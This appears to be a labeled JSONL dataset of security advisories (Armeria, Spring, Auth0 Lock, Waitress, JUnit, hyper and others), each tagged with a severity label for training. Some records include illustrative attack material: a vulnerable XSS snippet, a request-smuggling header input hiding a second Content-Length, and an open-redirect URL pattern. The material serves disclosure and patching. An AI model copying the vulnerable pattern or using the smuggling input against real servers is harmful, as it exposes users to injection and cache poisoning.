-{"id": "88ec97d2779ac7483746", "text": "Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') in Armeria\n\nVersions of Armeria 0.85.0 through and including 0.96.0 are vulnerable to HTTP response splitting, which allows remote attackers to inject arbitrary HTTP headers via CRLF sequences when unsanitized data is used to populate the headers of an HTTP response.\n\n### Impact\n\n1. Cross-User Defacement\n2. Cache Poisoning\n3. Cross-Site Scripting (XSS)\n4. Page Hijacking\n\n### Root Cause\n\nThe root cause is due to the usage of Netty without the HTTP header validation.\n\nhttps://github.com/line/armeria/blob/f0d870fde1088114070be31b67f7df0a21e835c6/core/src/main/java/com/linecorp/armeria/common/DefaultHttpHeaders.java#L23\n\n### Patches\n\nThis vulnerability has been patched in 0.97.0.\n\n### References\n\n[CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')](https://cwe.mitre.org/data/definitions/113.html)\nhttps://github.com/ratpack/ratpack/security/advisories/GHSA-mvqp-q37c-wf9j\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [GitHub](https://github.com/line/armeria/issues)", "text_raw": "Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') in Armeria\n\n[Severity: MEDIUM]\n\nVersions of Armeria 0.85.0 through and including 0.96.0 are vulnerable to HTTP response splitting, which allows remote attackers to inject arbitrary HTTP headers via CRLF sequences when unsanitized data is used to populate the headers of an HTTP response.\n\n### Impact\n\n1. Cross-User Defacement\n2. Cache Poisoning\n3. Cross-Site Scripting (XSS)\n4. Page Hijacking\n\n\n### Root Cause\n\nThe root cause is due to the usage of Netty without the HTTP header validation.\n\nhttps://github.com/line/armeria/blob/f0d870fde1088114070be31b67f7df0a21e835c6/core/src/main/java/com/linecorp/armeria/common/DefaultHttpHeaders.java#L23\n\n### Patches\n\nThis vulnerability has been patched in 0.97.0.\n\n### References\n\n[CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')](https://cwe.mitre.org/data/definitions/113.html)\nhttps://github.com/ratpack/ratpack/security/advisories/GHSA-mvqp-q37c-wf9j\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [GitHub](https://github.com/line/armeria/issues)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-12-06", "split": "train"}
-{"id": "c6b700cce490afb3b23e", "text": "Improper Input Validation in Spring Framework\n\nIn Spring Framework versions 5.2.0 - 5.2.8, 5.1.0 - 5.1.17, 5.0.0 - 5.0.18, 4.3.0 - 4.3.28, and older unsupported versions, the protections against RFD attacks from CVE-2015-5211 may be bypassed depending on the browser used through the use of a jsessionid path parameter.", "text_raw": "Improper Input Validation in Spring Framework\n\n[Severity: MEDIUM]\n\nIn Spring Framework versions 5.2.0 - 5.2.8, 5.1.0 - 5.1.17, 5.0.0 - 5.0.18, 4.3.0 - 4.3.28, and older unsupported versions, the protections against RFD attacks from CVE-2015-5211 may be bypassed depending on the browser used through the use of a jsessionid path parameter.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-30", "split": "train"}
-{"id": "ea550bcd04f4683da9db", "text": "Open Redirect in github.com/AndrewBurian/powermux\n\n### Impact\nAttackers may be able to craft phishing links and other open redirects by exploiting the trailing slash redirection feature. This may lead to users being redirected to untrusted sites after following an attacker crafted link.\n\n### Patches\nThe issue is resolved in v1.1.1\n\n### Workarounds\nThere are no existing workarounds.\nYou may detect attempts to craft urls that exploit this feature by looking for request paths containing pairs of forward slashes in sequence combined with a trailing slash e.g. `https://example.com//foo/`", "text_raw": "Open Redirect in github.com/AndrewBurian/powermux\n\n[Severity: MEDIUM]\n\n### Impact\nAttackers may be able to craft phishing links and other open redirects by exploiting the trailing slash redirection feature. This may lead to users being redirected to untrusted sites after following an attacker crafted link.\n\n### Patches\nThe issue is resolved in v1.1.1\n\n### Workarounds\nThere are no existing workarounds.\nYou may detect attempts to craft urls that exploit this feature by looking for request paths containing pairs of forward slashes in sequence combined with a trailing slash e.g. `https://example.com//foo/`\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-01", "split": "train"}
-{"id": "58a4332876e48ba8626f", "text": "SQL Injection in Geocoder\n\nsql.rb in Geocoder before 1.6.1 allows Boolean-based SQL injection when `within_bounding_box` is used in conjunction with untrusted `sw_lat`, `sw_lng`, `ne_lat`, or `ne_lng` data.", "text_raw": "SQL Injection in Geocoder\n\n[Severity: CRITICAL]\n\nsql.rb in Geocoder before 1.6.1 allows Boolean-based SQL injection when `within_bounding_box` is used in conjunction with untrusted `sw_lat`, `sw_lng`, `ne_lat`, or `ne_lng` data.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-06-10", "split": "train"}
-{"id": "7a92b68026669a16b56c", "text": "BlueControl 3.5 SR5 Insecure Library Loading Arbitrary Code Execution", "text_raw": "BlueControl 3.5 SR5 Insecure Library Loading Arbitrary Code Execution\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-01-19", "split": "train"}
-{"id": "665d3c4405fd34801792", "text": "Google Chromium Intents Improper Input Validation Vulnerability\n\nAffected: Google Chromium Intents\n\nGoogle Chromium Intents contains an improper input validation vulnerability that allows a remote attacker to arbitrarily browser to a malicious URL via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Google Chromium Intents Improper Input Validation Vulnerability\n\nAffected: Google Chromium Intents\n\nGoogle Chromium Intents contains an improper input validation vulnerability that allows a remote attacker to arbitrarily browser to a malicious URL via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "a6f631107fc09fb4c36c", "text": "auth0-lock vulnerable to XSS via unsanitized placeholder property\n\n## Overview\n\nAuth0 Lock version 11.20.4 and earlier did not properly sanitize the generated HTML code. Customers using the `additionalSignUpFields` customization option to add a checkbox to the sign-up dialog that are passing a `placeholder` property obtained from an untrusted source (e.g. a query parameter) could allow cross-site scripting (XSS) on their signup pages.\n\n## Am I affected?\n\nYou are affected by this vulnerability if all of the following conditions apply:\n\n- You are using Auth0 Lock version 11.20.4 or earlier.\n- You pass `additionalSignUpFields` as options when initializing Lock which includes a field of type `checkbox` whose `placeholder` value is obtained from an untrusted source.\n\nAn example of a vulnerable snippet is the following where the `placeholder` value is partially user-controlled by the `name` query parameter:\n\n```javascript\n<script>\n    var params = new URLSearchParams(window.location.search);\n    var options = {\n        auth: {\n            redirectUrl: 'http://localhost:12345/callback',\n            responseType: 'code',\n            params: {\n                scope: 'openid email',\n            },\n        },\n        additionalSignUpFields: [{\n            name: 'agree',\n            type: 'checkbox',\n            placeholder: \"I agree to Terms and Conditions for \" + params.get('name'),\n        }],\n    };\n    var lock = new Auth0Lock('<CLIENT_ID>', '<TENANT_NAME>.auth0.com', options);\n    lock.show({\n        allowShowPassword: true,\n        initialScreen: 'signUp',\n    });\n</script>\n```\n\n## How to fix that?\n\nDevelopers using Auth0’s signin solution Lock need to upgrade to version 11.21.0 or later. Version 11.21.0 introduces two changes:\n\n1. The existing `placeholder` property is now treated as plain text to mitigate the problem.\n2. A new `placeholderHTML` property is introduced that indicates the level of control it provides and that it should be only supplied from trusted sources.\n\n## Will this update impact my users?\n\nThis fix patches the Auth0 Lock widget and may require changes in application code, but it will not impact your users, their current state, or any existing sessions.\n\nDevelopers using the `placeholder` property with HTML content from a trusted source should start using the `placeholderHTML` property to continue providing the same user experience.", "text_raw": "auth0-lock vulnerable to XSS via unsanitized placeholder property\n\n[Severity: MEDIUM]\n\n## Overview\n\nAuth0 Lock version 11.20.4 and earlier did not properly sanitize the generated HTML code. Customers using the `additionalSignUpFields` customization option to add a checkbox to the sign-up dialog that are passing a `placeholder` property obtained from an untrusted source (e.g. a query parameter) could allow cross-site scripting (XSS) on their signup pages.\n\n## Am I affected?\n\nYou are affected by this vulnerability if all of the following conditions apply:\n\n- You are using Auth0 Lock version 11.20.4 or earlier.\n- You pass `additionalSignUpFields` as options when initializing Lock which includes a field of type `checkbox` whose `placeholder` value is obtained from an untrusted source.\n\nAn example of a vulnerable snippet is the following where the `placeholder` value is partially user-controlled by the `name` query parameter:\n\n```javascript\n<script>\n    var params = new URLSearchParams(window.location.search);\n    var options = {\n        auth: {\n            redirectUrl: 'http://localhost:12345/callback',\n            responseType: 'code',\n            params: {\n                scope: 'openid email',\n            },\n        },\n        additionalSignUpFields: [{\n            name: 'agree',\n            type: 'checkbox',\n            placeholder: \"I agree to Terms and Conditions for \" + params.get('name'),\n        }],\n    };\n    var lock = new Auth0Lock('<CLIENT_ID>', '<TENANT_NAME>.auth0.com', options);\n    lock.show({\n        allowShowPassword: true,\n        initialScreen: 'signUp',\n    });\n</script>\n```\n\n## How to fix that?\n\nDevelopers using Auth0’s signin solution Lock need to upgrade to version 11.21.0 or later. Version 11.21.0 introduces two changes:\n\n1. The existing `placeholder` property is now treated as plain text to mitigate the problem.\n2. A new `placeholderHTML` property is introduced that indicates the level of control it provides and that it should be only supplied from trusted sources.\n\n## Will this update impact my users?\n\nThis fix patches the Auth0 Lock widget and may require changes in application code, but it will not impact your users, their current state, or any existing sessions.\n\nDevelopers using the `placeholder` property with HTML content from a trusted source should start using the `placeholderHTML` property to continue providing the same user experience.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-01-31", "split": "train"}
-{"id": "b74422e81f3dd143ea61", "text": "KYOCERA Net Admin 3.4 CSRF Add Admin Exploit", "text_raw": "KYOCERA Net Admin 3.4 CSRF Add Admin Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-04-07", "split": "train"}
-{"id": "246bf01dac978a25b823", "text": "Oracle MySQL Eventum 2.3 Remote Script Insertion Vulnerabilities", "text_raw": "Oracle MySQL Eventum 2.3 Remote Script Insertion Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-02-11", "split": "train"}
-{"id": "bc23f1c0b1f56ea5f744", "text": "HTTP Request Smuggling: LF vs CRLF handling in Waitress\n\n### Impact\n\nWaitress implemented a &amp;quot;MAY&amp;quot; part of the RFC7230 (https://tools.ietf.org/html/rfc7230#section-3.5) which states:\n\nAlthough the line terminator for the start-line and header fields is\n      the sequence CRLF, a recipient MAY recognize a single LF as a line\n      terminator and ignore any preceding CR.\n\nUnfortunately if a front-end server does not parse header fields with an LF the same way as it does those with a CRLF it can lead to the front-end and the back-end server parsing the same HTTP message in two different ways. This can lead to a potential for HTTP request smuggling/splitting whereby Waitress may see two requests while the front-end server only sees a single HTTP message.\n\nExample:\n\n```\nContent-Length: 100[CRLF]\nX-Header: x[LF]Content-Length: 0[CRLF]\n```\n\nWould get treated by Waitress as if it were:\n\n```\nContent-Length: 100\nX-Header: x\nContent-Length: 0\n```\n\nThis could potentially get used by attackers to split the HTTP request and smuggle a second request in the body of the first.\n\n### Patches\n\nThis issue is fixed in Waitress 1.4.0. This brings a range of changes to harden Waitress against potential HTTP request confusions, and may change the behaviour of Waitress behind non-conformist proxies.\n\nWaitress no longer implements the MAY part of the specification and instead requires that all lines are terminated correctly with CRLF. If any lines are found with a bare CR or LF a 400 Bad Request is sent back to the requesting entity.\n\nThe Pylons Project recommends upgrading as soon as possible, while validating that the changes in Waitress don&amp;#39;t cause any changes in behavior.\n\n### Workarounds\n\nVarious reverse proxies may have protections against sending potentially bad HTTP requests to the backend, and or hardening against potential issues like this. If the reverse proxy doesn&amp;#39;t use HTTP/1.1 for connecting to the backend issues are also somewhat mitigated, as HTTP pipelining does not exist in HTTP/1.0 and Waitress will close the connection after every single request (unless the Keep Alive header is explicitly sent... so this is not a fool proof security method)\n\n### Issues/more security issues:\n\n* open an issue at https://github.com/Pylons/waitress/issues (if not sensitive or security related)\n* email the Pylons Security mailing list: pylons-project-security@googlegroups.com (if security related)", "text_raw": "HTTP Request Smuggling: LF vs CRLF handling in Waitress\n\n[Severity: MEDIUM]\n\n### Impact\n\nWaitress implemented a &amp;quot;MAY&amp;quot; part of the RFC7230 (https://tools.ietf.org/html/rfc7230#section-3.5) which states:\n\n      Although the line terminator for the start-line and header fields is\n      the sequence CRLF, a recipient MAY recognize a single LF as a line\n      terminator and ignore any preceding CR.\n\nUnfortunately if a front-end server does not parse header fields with an LF the same way as it does those with a CRLF it can lead to the front-end and the back-end server parsing the same HTTP message in two different ways. This can lead to a potential for HTTP request smuggling/splitting whereby Waitress may see two requests while the front-end server only sees a single HTTP message.\n\nExample:\n\n```\nContent-Length: 100[CRLF]\nX-Header: x[LF]Content-Length: 0[CRLF]\n```\n\nWould get treated by Waitress as if it were:\n\n```\nContent-Length: 100\nX-Header: x\nContent-Length: 0\n```\n\nThis could potentially get used by attackers to split the HTTP request and smuggle a second request in the body of the first.\n\n\n### Patches\n\nThis issue is fixed in Waitress 1.4.0. This brings a range of changes to harden Waitress against potential HTTP request confusions, and may change the behaviour of Waitress behind non-conformist proxies. \n\nWaitress no longer implements the MAY part of the specification and instead requires that all lines are terminated correctly with CRLF. If any lines are found with a bare CR or LF a 400 Bad Request is sent back to the requesting entity.\n\nThe Pylons Project recommends upgrading as soon as possible, while validating that the changes in Waitress don&amp;#39;t cause any changes in behavior.\n\n### Workarounds\n\nVarious reverse proxies may have protections against sending potentially bad HTTP requests to the backend, and or hardening against potential issues like this. If the reverse proxy doesn&amp;#39;t use HTTP/1.1 for connecting to the backend issues are also somewhat mitigated, as HTTP pipelining does not exist in HTTP/1.0 and Waitress will close the connection after every single request (unless the Keep Alive header is explicitly sent... so this is not a fool proof security method)\n\n### Issues/more security issues:\n\n* open an issue at https://github.com/Pylons/waitress/issues (if not sensitive or security related)\n* email the Pylons Security mailing list: pylons-project-security@googlegroups.com (if security related)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-12-20", "split": "train"}
-{"id": "5aad1e90c38e8733a50c", "text": "actionpack is vulnerable to remote bypass authentication\n\nThe http_basic_authenticate_with method in actionpack/lib/action_controller/metal/http_authentication.rb in the Basic Authentication implementation in Action Controller in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 does not use a constant-time algorithm for verifying credentials, which makes it easier for remote attackers to bypass authentication by measuring timing differences.", "text_raw": "actionpack is vulnerable to remote bypass authentication\n\n[Severity: LOW]\n\nThe http_basic_authenticate_with method in actionpack/lib/action_controller/metal/http_authentication.rb in the Basic Authentication implementation in Action Controller in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 does not use a constant-time algorithm for verifying credentials, which makes it easier for remote attackers to bypass authentication by measuring timing differences.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "98d98115c2bfaaa98048", "text": "TemporaryFolder on unix-like systems does not limit access to created files\n\n### Vulnerability\n\nThe JUnit4 test rule [TemporaryFolder](https://junit.org/junit4/javadoc/4.13/org/junit/rules/TemporaryFolder.html) contains a local information disclosure vulnerability.\n\nExample of vulnerable code:\n```java\npublic static class HasTempFolder {\n    @Rule\n    public TemporaryFolder folder = new TemporaryFolder();\n\n@Test\n    public void testUsingTempFolder() throws IOException {\n        folder.getRoot(); // Previous file permissions: `drwxr-xr-x`; After fix:`drwx------`\n        File createdFile= folder.newFile(\"myfile.txt\"); // unchanged/irrelevant file permissions\n        File createdFolder= folder.newFolder(\"subfolder\"); // unchanged/irrelevant file permissions\n        // ...\n    }\n}\n```\n\n### Impact\n\nOn Unix like systems, the system's temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system.\n\nThis vulnerability **does not** allow other users to overwrite the contents of these directories or files. This is purely an information disclosure vulnerability.\n\nWhen analyzing the impact of this vulnerability, here are the important questions to ask:\n\n1. Do the JUnit tests write sensitive information, like API keys or passwords, into the temporary folder?\n    - If yes, this vulnerability impacts you, but only if you also answer 'yes' to question 2.\n    - If no, this vulnerability does not impact you.\n2. Do the JUnit tests ever execute in an environment where the OS has other untrusted users. \n    _This may apply in CI/CD environments but normally won't be 'yes' for personal developer machines._\n    - If yes, and you answered 'yes' to question 1, this vulnerability impacts you.\n    - If no, this vulnerability does not impact you.\n\n### Patches\n\nBecause certain JDK file system APIs were only added in JDK 1.7, this this fix is dependent upon the version of the JDK you are using.\n - Java 1.7 and higher users: this vulnerability is fixed in 4.13.1.\n - Java 1.6 and lower users: **no patch is available, you must use the workaround below.**\n\n### Workarounds\n\nIf you are unable to patch, or are stuck running on Java 1.6, specifying the `java.io.tmpdir` system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability.\n\n### References\n- [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/200.html)\n- Fix commit https://github.com/junit-team/junit4/commit/610155b8c22138329f0723eec22521627dbc52ae\n\n#### Similar Vulnerabilities\n - Google Guava - https://github.com/google/guava/issues/4011\n - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945\n - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824\n\n### For more information\nIf you have any questions or comments about this advisory, please pen an issue in [junit-team/junit4](https://github.com/junit-team/junit4/issues).", "text_raw": "TemporaryFolder on unix-like systems does not limit access to created files\n\n[Severity: MEDIUM]\n\n### Vulnerability\n\nThe JUnit4 test rule [TemporaryFolder](https://junit.org/junit4/javadoc/4.13/org/junit/rules/TemporaryFolder.html) contains a local information disclosure vulnerability.\n\nExample of vulnerable code:\n```java\npublic static class HasTempFolder {\n    @Rule\n    public TemporaryFolder folder = new TemporaryFolder();\n\n    @Test\n    public void testUsingTempFolder() throws IOException {\n        folder.getRoot(); // Previous file permissions: `drwxr-xr-x`; After fix:`drwx------`\n        File createdFile= folder.newFile(\"myfile.txt\"); // unchanged/irrelevant file permissions\n        File createdFolder= folder.newFolder(\"subfolder\"); // unchanged/irrelevant file permissions\n        // ...\n    }\n}\n```\n\n### Impact\n\nOn Unix like systems, the system's temporary directory is shared between all users on that system. Because of this, when files and directories are written into this directory they are, by default, readable by other users on that same system.\n\nThis vulnerability **does not** allow other users to overwrite the contents of these directories or files. This is purely an information disclosure vulnerability.\n\nWhen analyzing the impact of this vulnerability, here are the important questions to ask:\n\n1. Do the JUnit tests write sensitive information, like API keys or passwords, into the temporary folder?\n    - If yes, this vulnerability impacts you, but only if you also answer 'yes' to question 2.\n    - If no, this vulnerability does not impact you.\n2. Do the JUnit tests ever execute in an environment where the OS has other untrusted users. \n    _This may apply in CI/CD environments but normally won't be 'yes' for personal developer machines._\n    - If yes, and you answered 'yes' to question 1, this vulnerability impacts you.\n    - If no, this vulnerability does not impact you.\n\n### Patches\n\nBecause certain JDK file system APIs were only added in JDK 1.7, this this fix is dependent upon the version of the JDK you are using.\n - Java 1.7 and higher users: this vulnerability is fixed in 4.13.1.\n - Java 1.6 and lower users: **no patch is available, you must use the workaround below.**\n\n### Workarounds\n\nIf you are unable to patch, or are stuck running on Java 1.6, specifying the `java.io.tmpdir` system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability.\n\n### References\n- [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/200.html)\n- Fix commit https://github.com/junit-team/junit4/commit/610155b8c22138329f0723eec22521627dbc52ae\n\n#### Similar Vulnerabilities\n - Google Guava - https://github.com/google/guava/issues/4011\n - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945\n - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824\n\n### For more information\nIf you have any questions or comments about this advisory, please pen an issue in [junit-team/junit4](https://github.com/junit-team/junit4/issues).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-10-12", "split": "train"}
-{"id": "b3daae6db202fe8baf81", "text": "Denial of service in django\n\nThe verify_exists functionality in the URLField implementation in Django before 1.2.7 and 1.3.x before 1.3.1 relies on Python libraries that attempt access to an arbitrary URL with no timeout, which allows remote attackers to cause a denial of service (resource consumption) via a URL associated with (1) a slow response, (2) a completed TCP connection with no application data sent, or (3) a large amount of application data, a related issue to CVE-2011-1521.", "text_raw": "Denial of service in django\n\n[Severity: HIGH]\n\nThe verify_exists functionality in the URLField implementation in Django before 1.2.7 and 1.3.x before 1.3.1 relies on Python libraries that attempt access to an arbitrary URL with no timeout, which allows remote attackers to cause a denial of service (resource consumption) via a URL associated with (1) a slow response, (2) a completed TCP connection with no application data sent, or (3) a large amount of application data, a related issue to CVE-2011-1521.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "e4a66d9528a74a583c97", "text": "HTTP Request Smuggling in hyper\n\nVulnerable versions of hyper allow GET requests to have bodies, even if there is no Transfer-Encoding or Content-Length header. As per the HTTP 1.1 specification, such requests do not have bodies, so the body will be interpreted as a separate HTTP request.\n\nThis allows an attacker who can control the body and method of an HTTP request made by hyper to inject a request with headers that would not otherwise be allowed, as demonstrated by sending a malformed HTTP request from a Substrate runtime. This allows bypassing CORS restrictions. In combination with other vulnerabilities, such as an exploitable web server listening on loopback, it may allow remote code execution.\n\nThe flaw was corrected in hyper version 0.12.34.", "text_raw": "HTTP Request Smuggling in hyper\n\n[Severity: CRITICAL]\n\nVulnerable versions of hyper allow GET requests to have bodies, even if there is no Transfer-Encoding or Content-Length header. As per the HTTP 1.1 specification, such requests do not have bodies, so the body will be interpreted as a separate HTTP request.\n\nThis allows an attacker who can control the body and method of an HTTP request made by hyper to inject a request with headers that would not otherwise be allowed, as demonstrated by sending a malformed HTTP request from a Substrate runtime. This allows bypassing CORS restrictions. In combination with other vulnerabilities, such as an exploitable web server listening on loopback, it may allow remote code execution.\n\nThe flaw was corrected in hyper version 0.12.34.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "a4058778fd300cf501c0", "text": "Malicious Package in ali-contributors\n\nAll versions of `ali-contributors` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in ali-contributors\n\n[Severity: CRITICAL]\n\nAll versions of `ali-contributors` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "2ad9170101c1cf3bb5b4", "text": "Path Traversal in @backstage/plugin-scaffolder-backend\n\n### Impact\n\nA malicious actor could read sensitive files from the environment where Scaffolder tasks are run. The attack is executed by crafting a custom Scaffolder template with a `publish:github:pull-request` action using a particular source path. When the template is executed the sensitive files would be included in the published pull request.\n\nThis vulnerability is mitigated by the fact that an attacker would need access to create and register templates in the Backstage catalog, and that the attack is very visible given that the exfiltration happens via a pull request.\n\n### Patches\n\nThe vulnerability is patched in the `0.15.9` release of `@backstage/plugin-scaffolder-backend`.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in the [Backstage repository](https://github.com/backstage/backstage)\n* Visit our chat, linked to in [Backstage README](https://github.com/backstage/backstage)", "text_raw": "Path Traversal in @backstage/plugin-scaffolder-backend \n\n[Severity: MEDIUM]\n\n### Impact\n\nA malicious actor could read sensitive files from the environment where Scaffolder tasks are run. The attack is executed by crafting a custom Scaffolder template with a `publish:github:pull-request` action using a particular source path. When the template is executed the sensitive files would be included in the published pull request.\n\nThis vulnerability is mitigated by the fact that an attacker would need access to create and register templates in the Backstage catalog, and that the attack is very visible given that the exfiltration happens via a pull request.\n\n### Patches\n\nThe vulnerability is patched in the `0.15.9` release of `@backstage/plugin-scaffolder-backend`.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in the [Backstage repository](https://github.com/backstage/backstage)\n* Visit our chat, linked to in [Backstage README](https://github.com/backstage/backstage)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-19", "split": "train"}
-{"id": "a76bc92b4675b923b354", "text": "Buffer overflow in OPC UA applications allows remote attackers to trigger a stack overflow with carefully structured requests.", "text_raw": "High severity vulnerability that affects OPCFoundation.NetStandard.Opc.Ua\n\n[Severity: HIGH]\n\nBuffer overflow in OPC UA applications allows remote attackers to trigger a stack overflow with carefully structured requests.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "9f205dae4c7100d6e2e2", "text": "Duplicate Advisory: python-gnupg allows context-dependent attackers to trick gnupg to decrypt other ciphertext than intended\n\n**Withdrawn:** Duplicate of GHSA-2fch-jvg5-crf6", "text_raw": "Duplicate Advisory: python-gnupg allows context-dependent attackers to trick gnupg to decrypt other ciphertext than intended\n\n[Severity: MEDIUM]\n\n**Withdrawn:** Duplicate of GHSA-2fch-jvg5-crf6", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-03-13", "split": "train"}
-{"id": "628b89885cf4eef30a64", "text": "Incorrect handling of H2 GOAWAY + SETTINGS frames\n\nEnvoy, which Pomerium is based on, can abnormally terminate if an H/2 GOAWAY and SETTINGS frame are received in the same IO event.\n\n### Impact\nThis can lead to a DoS in the presence of untrusted *upstream* servers.\n\n### Patches\n0.15.1 contains an upgraded envoy binary with this vulnerability patched.\n\n### Workarounds\nIf only trusted upstreams are configured, there is not substantial risk of this condition being triggered.\n\n### References\n[envoy GSA](https://github.com/envoyproxy/envoy/security/advisories/GHSA-j374-mjrw-vvp8)\n[envoy CVE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-32780)\n[envoy announcement](https://groups.google.com/g/envoy-announce/c/5xBpsEZZDfE/m/wD05NZBbAgAJ)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [pomerium/pomerium](https://github.com/pomerium/pomerium/issues)\n* Email us at [security@pomerium.com](mailto:security@pomerium.com)", "text_raw": "Incorrect handling of H2 GOAWAY + SETTINGS frames\n\n[Severity: HIGH]\n\nEnvoy, which Pomerium is based on, can abnormally terminate if an H/2 GOAWAY and SETTINGS frame are received in the same IO event.  \n\n### Impact\nThis can lead to a DoS in the presence of untrusted *upstream* servers.\n\n### Patches\n0.15.1 contains an upgraded envoy binary with this vulnerability patched.\n\n### Workarounds\nIf only trusted upstreams are configured, there is not substantial risk of this condition being triggered.\n\n### References\n[envoy GSA](https://github.com/envoyproxy/envoy/security/advisories/GHSA-j374-mjrw-vvp8)\n[envoy CVE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-32780)\n[envoy announcement](https://groups.google.com/g/envoy-announce/c/5xBpsEZZDfE/m/wD05NZBbAgAJ)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [pomerium/pomerium](https://github.com/pomerium/pomerium/issues)\n* Email us at [security@pomerium.com](mailto:security@pomerium.com)\n\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-10", "split": "train"}
-{"id": "0c01ead5815616ea843a", "text": "Insecure deserialization in Wire\n\nDue to how Wire handles type information in its serialization format, malicious payloads can be passed to a deserializer. e.g. using a surrogate on the sender end, an attacker can pass information about a different type for the receiving end. And by doing so allowing the serializer to create any type on the deserializing end.\n\n**This is the same issue that exists for .NET BinaryFormatter https://docs.microsoft.com/en-us/visualstudio/code-quality/ca2300?view=vs-2019**\n\nThis also applies to the fork of Wire, AkkaDotNet/Hyperion.", "text_raw": "Insecure deserialization in Wire\n\n[Severity: CRITICAL]\n\nDue to how Wire handles type information in its serialization format, malicious payloads can be passed to a deserializer. e.g. using a surrogate on the sender end, an attacker can pass information about a different type for the receiving end. And by doing so allowing the serializer to create any type on the deserializing end.\n\n**This is the same issue that exists for .NET BinaryFormatter https://docs.microsoft.com/en-us/visualstudio/code-quality/ca2300?view=vs-2019**\n\nThis also applies to the fork of Wire, AkkaDotNet/Hyperion.\n\n\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-19", "split": "train"}
